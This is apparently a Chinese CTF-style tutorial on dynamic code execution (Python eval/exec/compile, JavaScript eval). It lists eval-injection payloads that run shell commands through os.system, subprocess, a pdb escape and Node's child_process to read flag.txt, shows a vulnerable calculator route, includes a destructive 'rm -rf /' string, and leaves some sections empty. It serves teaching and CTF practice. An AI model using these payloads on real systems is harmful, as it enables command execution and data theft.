动态代码执行函数
在编程语言中,动态代码执行是指在程序运行时,根据接收到的字符串动态地将其当作代码来执行。虽然这种功能在某些场景下非常灵活(例如动态生成代码、运行用户输入),但它也带来了巨大的安全隐患。攻击者可以通过恶意输入注入代码,进而控制系统或窃取敏感信息。
我们下面看一下不同语言(如 Python、PHP、JavaScript)中常用的动态代码执行函数及其风险。
Python
eval()
用途:eval()
会将传入的字符串当作 Python 表达式来执行。
安全隐患:如果用户输入未经验证的字符串传给 eval()
,攻击者可以执行任意代码。
例子:
1 2 3
| result = eval(input("Enter a math expression: "))
print(result)
|
那么当我们输入
时会导致删除系统文件。
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| open('flag.txt').read()
__import__('os').popen('cat flag.txt').read()
__import__('os').system('cat flag.txt')
exec("__import__('os').system('cat flag.txt')")
getattr(__import__('os'), 'system')('cat flag.txt')
__import__('builtins').open('flag.txt').read()
globals()['__builtins__'].__dict__['open']('flag.txt').read()
globals()['__builtins__'].open('flag.txt').read()
__import__('subprocess').check_output(['cat', 'flag.txt'])
__import__('sh').cat('flag.txt') sh.cat('flag.txt')
|
(看情况在flag.txt
前面加上/
或者../
)
也可以利用breakpoint()
(Python3.7+ 中的调试工具,可以直接启动交互式调试器(比如 pdb
)):
1 2 3
| breakpoint()
!print(open("flag.txt").read())
|
!
会让 pdb
执行一条普通 Python 语句。
特殊情况也可以使用:
1 2 3 4
| eval(input("Enter: "))
__import__('os').system('cat flag.txt')
|
注意,这里的第一行代码的eval()
是额外输入的,并不是指程序原本的。这点非常重要,不多输入一个eval()
会失败。区别:
1 2 3 4 5 6 7 8
| >> eval(input("Enter: ")) Enter: __import__('os').system('cat flag.txt') flag{fake_flag} eval(input("Enter: ")) --> 0
>> input("Enter: ") Enter: __import__('os').system('cat flag.txt') input("Enter: ") --> __import__('os').system('cat flag.txt')
|
exec()
compile()
相比前两个会安全很多。
例子:
1 2 3
| user_input = "os.system('rm -rf /')" code = compile(user_input, "<string>", "exec") exec(code)
|
因为只有当我们能通过输入控制compile()
的三个参数时才可以进行RCE攻击。
PHP
eval()
JavaScript
eval()
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| router.post('/api/calculate', (req, res) => { let { formula } = req.body;
if (formula) { result = Calculator.calculate(formula); return res.send(response(result)); }
return res.send(response('Missing parameters')); });
module.exports = { calculate: function(formula) { try { return eval(`(function() { return ${formula}; })()`); } catch (e) { if (e instanceof SyntaxError) { return 'Something went wrong!'; } } } };
|
所以当输入
1
| global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString()
|
时可以成功读取flag。